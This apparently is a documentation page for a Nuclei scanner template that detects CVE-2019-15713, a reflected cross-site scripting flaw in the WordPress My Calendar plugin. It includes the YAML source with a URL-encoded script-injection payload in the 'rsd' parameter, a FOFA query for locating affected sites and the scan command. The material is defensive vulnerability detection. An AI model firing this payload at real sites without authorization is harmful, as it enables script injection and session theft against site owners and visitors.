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WordPress My Calendar <= 3.1.9 - Cross-Site Scripting

ID: CVE-2019-15713

Severity: medium

Author: daffainfo,dhiyaneshDk

Tags: cve,cve2019,wordpress,xss,wp-plugin,wpscan,my_calendar_project

Description

Section titled “Description”

WordPress plugin My Calendar <= 3.1.9 is susceptible to reflected cross-site scripting which can be triggered via unescaped usage of URL parameters in multiple locations throughout the site.

YAML Source

Section titled “YAML Source”
id: CVE-2019-15713


info:
  name: WordPress My Calendar <= 3.1.9 - Cross-Site Scripting
  author: daffainfo,dhiyaneshDk
  severity: medium
  description: WordPress plugin My Calendar <= 3.1.9 is susceptible to reflected cross-site scripting which can be triggered via unescaped usage of URL parameters in multiple locations throughout the site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the My Calendar plugin (>= 3.1.10) or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/9267
    - https://wordpress.org/plugins/my-calendar/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15713
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-15713
    cwe-id: CWE-79
    epss-score: 0.00101
    epss-percentile: 0.41606
    cpe: cpe:2.3:a:my_calendar_project:my_calendar:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "my_calendar_project"
    product: "my_calendar"
    framework: wordpress
    fofa-query: "\"wordpress\" && body=\"wp-content/plugins/my-calendar\""
  tags: cve,cve2019,wordpress,xss,wp-plugin,wpscan,my_calendar_project
flow: http(1) && http(2)


http:
  - raw:
      - |
        GET /wp-content/plugins/my-calendar/readme.txt HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        internal: true
        words:
          - 'My Calendar'
          - 'Tags:'
        condition: and


  - method: GET
    path:
      - '{{BaseURL}}/?rsd=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4a0a004730450220435ff73a0d5523ecb0a7cbea4b3e25c1924b013f0923ef70b393cff58164cd5e022100c9aa0c21abe3e2843c9f1ea8d9a518efde643158b29567f336ecdc2bce457d1e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-15713.yaml"

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